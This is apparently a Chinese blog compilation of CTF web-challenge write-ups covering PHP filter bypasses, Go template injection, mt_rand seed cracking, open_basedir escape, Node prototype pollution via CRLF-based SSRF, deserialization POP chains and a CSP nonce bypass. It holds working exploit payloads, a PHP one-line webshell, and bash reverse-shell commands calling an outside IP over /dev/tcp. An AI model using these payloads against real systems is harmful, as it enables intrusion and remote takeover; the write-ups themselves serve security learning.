if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

很好绕过

1
?filename=b.php&content=<?php system('ls /');?>

image-20241205202211925

没有解析php,为啥啊明明是php但是解析不了,可能是靶机目录环境不能解析php文件

image-20241205202303024

Apache服务器

尝试用.htaccess来执行jpg文件中的php代码

但是这里被过滤了啊

1
?filename=.htaccess&content=AddType application/x-http-php .jpg

但这个过滤是很好绕过的可以用反斜杠加%0a来绕过,但是这样的话就要求上传两次文件,而这个题目环境不能上传两次文件,因此只能上传一次.htaccess,那么能利用的就只有index.php了,这还不如直接写入index.php文件呢!但是是不能解析的。因此我们只能利用.htaccess来进行命令执行或者写马,简单!

1
php_value auto_append_fi\%0ale .htaccess%0a%23<?php system('ls /');?>\
1
?filename=.htaccess&content=php_value auto_append_fi\%0Ale .htaccess%0A%23<?php system('tac /f*');?>\

[SCTF 2021]loginme

获得源码

image-20241206105852832

过滤了俩,可以用用X-Real-IP

然后看看源码route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package route

import (
_ "embed"
"fmt"
"html/template"
"loginme/structs"
"loginme/templates"
"strconv"

"github.com/gin-gonic/gin"
)

func Index(c *gin.Context) {
c.HTML(200, "index.tmpl", gin.H{
"title": "Try Loginme",
})
}

func Login(c *gin.Context) {
idString, flag := c.GetQuery("id")
if !flag {
idString = "1"
}
id, err := strconv.Atoi(idString)
if err != nil {
id = 1
}
TargetUser := structs.Admin
for _, user := range structs.Users {
if user.Id == id {
TargetUser = user
}
}

age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}

if err != nil {
c.AbortWithError(500, err)
}

html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
if err != nil {
c.AbortWithError(500, err)
}

tmpl, err := template.New("admin_index").Parse(html)
if err != nil {
c.AbortWithError(500, err)
}

tmpl.Execute(c.Writer, TargetUser)
}

structs.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package structs

type UserInfo struct {
Id int
Username string
Age string
Password string
}

var Users = []UserInfo{
{
Id: 1,
Username: "Grandpa Lu",
Age: "22",
Password: "hack you!",
},
{
Id: 2,
Username: "Longlone",
Age: "??",
Password: "i don't know",
},
{
Id: 3,
Username: "Teacher Ma",
Age: "20",
Password: "guess",
},
}

var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}

image-20241206135001872

我们发现当id为0时age为空,此时age是可以由我们自己传参的,也就是可控的,后续的代码对age进行了模板渲染,存在ssti。

而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}}

在这里插入图片描述

拿下了

image-20241206135214358

[GWCTF 2019]枯燥的抽奖

image-20241206162301273 image-20241206162320564

网页源代码中发现js代码,存在校验界面check.php,打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

已知数猜种子,h5n5BBh4Rg

1
2
3
4
5
6
7
8
9
10
11
12
str1 ='h5n5BBh4Rg'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''

length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break

print(result)
1
2
Let's pretend to know only the first password.  We need to convert it to
inputs to php_mt_seed

得到如下:

1
7 7 0 61 31 31 0 61 13 13 0 61 31 31 0 61 37 37 0 61 37 37 0 61 7 7 0 61 30 30 0 61 53 53 0 61 6 6 0 61

传入php_mt_seed即可!

image-20241206170630174

拿下种子!53788000

构造一下随机数

1
2
3
4
5
6
7
8
9
<?php
mt_srand(53788000);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

image-20241206170818784

[SWPUCTF 2021 新生赛]hardrce_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

挺简单的,自增就行

1
2
http://node7.anna.nssctf.cn:29288/?wllm=%24%5F%3D%5B%5D%3B%24%5F%3D%40%22%24%5F%22%3B%24%5F%3D%24%5F%5B%27%21%27%3D%3D%27%40%27%5D%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%24%5F%5F%5F%5F%3B%24%5F%5F%5F%28%24%5F%5B%5F%5D%29%3B
_=file_put_contents("1.php","<?php eval(\$_POST['cmd']);?>");

往1.php中写入一个一句话木马,当时system执行不了,看了下phpinfo()发现ban了好多函数,file_get_contents和file_put_contents还在,先写个方便点的后门然后看看。

1
cmd=file_put_contents('2.php',"<?php print_r(ini_get('open_basedir').'<br>');");

回显如下

image-20241206181457145

被限制在/tmp目录下,接下来还是试试直接file_get_contents能不能获取到flag

不行,好烦啊这种disable function,直接哥斯拉!!!里面会自动绕过

image-20241206182342197

牛逼哥斯拉!

这种方法也可以!

绕过open_basedir的方法!!!

1
cmd=file_put_contents('a.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

关键代码为

1
ini_set('open_basedir','..');

将限制设置为当前目录的父目录

经过三次chdir,自身变到了/var,但是此时open_basedir为其父目录,因此就是根目录,那么就拿下了!

[广东强网杯 2021 团队组]love_Pokemon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}

}

function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}

switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}

首先是关于escapeshellarg的考点。

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串

那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)
image-20241207183625856

读取到了hint.php

然后就是对/flag内容的读取了!

但是

1
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){

过滤了一堆,先看绕过空格过滤

img

然后是读取的命令,过滤了太多啦!!od可以用!

1
od%09/F[B-O][@-B]G

中括号没有被过滤和-没有被过滤,可以用正则表达式绕过

image-20241207191631376

1
2
3
4
5
6
7
8
9
10
dump = "0000000 051516 041523 043124 031573 034465 032544 062463 026467 0000020 032064 030543 032055 034460 026465 033071 031063 031455 0000040 063144 060467 031146 032545 063145 076471 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)

print(bytes.fromhex(result).decode())

od获得的结果是八进制字符串,这里给出解码脚本

NSSCTF{359d53e7-44c1-4095-9632-3df7af2e5ef9}

[西湖论剑 2022]Node Magical Login

给了源码,这道题主要看源码就行

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const express = require("express")
const fs = require("fs")
const cookieParser = require("cookie-parser");
const controller = require("./controller")

const app = express();
const PORT = Number(process.env.PORT) || 80
const HOST = '0.0.0.0'


app.use(express.urlencoded({extended:false}))
app.use(cookieParser())
app.use(express.json())

app.use(express.static('static'))

app.post("/login",(req,res) => {
controller.LoginController(req,res)
})


app.get("/",(res) => {
res.sendFile(__dirname,"static/index.html")
})


app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})

app.listen(PORT,HOST,() => {
console.log(`Server is listening on Host ${HOST} Port ${PORT}.`)
})

controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}

function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}



module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}

简单,先看flag1,加一个cookie就行

image-20241211091858315

重点是flag2,需要绕过toLowerCase(),传入一个json值,要求转小写后为aGr5AtSp55dRacer,可以通过json形式传入数组来绕过,老老实实传入字符串是不可能的。

image-20241211092027384

简单。

[西湖论剑 2022]real_ez_node

关键源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})

router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];

let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}

res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;

此处给出了各种版本,发现存在ejs模板引擎的JavaScript原型链污染。

image-20241211150618302

我们发现/copy路由下会对var ip = req.connection.remoteAddress;ip值进行判断,需要为127.0.0.1,这不是通过XFF等就能改变的,我们继续往下审代码。发现/curl路由处存在ssrf,那么我们是不是就能通过对/curl路由的操作,让他以自己的身份去/copy路由从而触发js原型链污染呢?!

/curl路由下存在http.get方法,可以造成CRLF Injection

那么,我们只需要构造污染请求包,通过ejs模板引擎污染来实现RCE!!

完美了!

1
{"constructor.prototype":{"constructor.prototype":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}

image-20241211194627392

关键代码如上,过滤了__proto__同时说明了污染的存在。

image-20241211194704771

同时,这里发现如果键名里面存在 . 才会继续调用 _safe.expand,相当于递归merge的操作

1
{"constructor.prototype.outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\"'); __tmp2"}

接下来构造CRLF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.parse
import requests

payload = '''HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 190

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('/bin/bash -c \\"/bin/bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\\"');var __tmp2"}

GET /'''
payload = payload.replace(' ', '\u0120').replace('\n', '\u010d\u010a').replace('{', '\u017b').replace(
'}', '\u017d').replace('"', '\u0122').replace('\'', '\u0127').replace('>', '\u013e').replace('\\', '\u015c')


payload = urllib.parse.quote(payload)

print(payload)
url = "http://node4.anna.nssctf.cn:28958/curl?q="
requests.get(url+payload)

当时在污染payload处卡了很久!!不知道为啥就是弹不了shell,这个可以弹!

1
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('/bin/bash -c \\"/bin/bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\\"');var __tmp2"}

主要思路就是在curl路由下通过CRLF攻击来构造恶意数据包来实现SSRF,用127.0.0.1去访问/copy路由,造成ejs模板引擎的污染从而实现RCE!

[UUCTF 2022 新生赛]ezpop

虽然是新生赛,但还可以。有点小综合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

这道的思路很简单,传入的是$pdata,他直接在源码里new了,只有name是我们可控的,同时我们发现后面又有replace!可以进行字符串逃逸了!!那就很简单了,把$key,$basedata逃逸出来改值就可以!

1
";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}   53

这里给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd="system('tac flag.php');";
function rce(){
eval($this->cmd);
}
}

$pdata='1';
$data=serialize(new UUCTF($pdata));

echo $data;
echo "\n";

$data_replace=str_replace("hacker","loveuu!",$data);

//逃逸出key

echo $data_replace;

echo "\n";

$out=new output();
$youwant=new youwant();
$nothing=new nothing();
$out->a=$youwant;
$nothing->t=$out;
$nothing->a=&$nothing->b;

echo serialize($nothing);

UUCTF中的__wakeup()中也有一个unserialize(),传参basedata,这里的pop链在上面也有了,要注意的一点就是nothing中的__wakeup()和__unserialize(),这里的wakeup会清空a属性的值,同时我们发现php版本又不符合那个cve,我们又发现destruct中有对b属性的赋值,那么我们通过引用赋值将ab联合起来。这样问题就迎刃而解了。

[LitCTF 2023]Http pro max plus

关于http协议的题,有一点小盲点

1
curl http://node1.anna.nssctf.cn:28246/ -H “client-ip:127.0.0.1” -H “Referer:pornhub.com” -H “User-Agent:Chrome” -H “Via:Clash.win”

[AFCTF 2021]BABY_CSP

存在CSP策略,需要绕过,抓包看看

image-20241213210502761

1
Content-Security-Policy: default-src 'none';script-src 'nonce-29de6fde0db5686d'

关键点如上,允许nonce-29de6fde0db5686d

那么构造payload

1
http://node4.anna.nssctf.cn:28378/?school=<script nonce="29de6fde0db5686d">alert(flag)</script>
1
NSSCTF{b4f323f4-020d-4821-bc1a-efd73ce09f89}

[极客大挑战 2020]greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$a=new SYCLOVER();
$str=~("/flag");
$x=new Error("?><?=include ~".$str.";?>",1);$y=new Error("?><?=include ~".$str.";?>",2);
$a->syc=$x;
$a->lover=$y;
echo urlencode(serialize($a));

不知道为啥不能`whoami`这样输出,奇怪

那就只能include了,但是引号被过滤,两次取反来绕过。

[NSSRound#1 Basic]sql_by_sql

二次注入加sqlite注入,不是很熟悉

二次注入的步骤,先注册一个admin’–+进去,发现有个修改密码,修改密码处将admin’–+放进去,那么改的就是admin的密码,直接拿下admin,进去sqlite注入就行,这里用python脚本或者sqlmap都是可以的!

[GFCTF 2021]ez_calc

f12网页源码这种存在这样的代码

1
2
3
if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){
// 登录成功,设置 session
}

这里需要注意一点,ctrl+u或者右键查看网页源代码是看不到这段的。

这里采用nodejs的大小写特性来绕过,nodejs笔记里有

1
admın

登陆进去后是一个calc界面,同样f12查看源代码获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}

try {
result = eval(calc);

}

image-20241216165920626

这里可以调试一下,方便看!

image-20241216170014770

我们发现是可以逃逸出来的,因为取的calc[i]是大于一位的,而.split出来只有一位,所以是不相等的。可以利用此处的漏洞来进行逃逸。

让这个单独的一位在很后面就行,大于要逃逸的字符串的长度即可。

image-20241216173859525

这里本来想直接cat /xxxxxx.flag,但是存在长度限制,失败。

1
calc = calc.substring(0, 64);

想办法,这里用星号不可以

同时过滤了x,不能用exec,但是这可以绕过!

这里本来想着用十六进制绕过,但是不可以,实测

image-20241216174248130

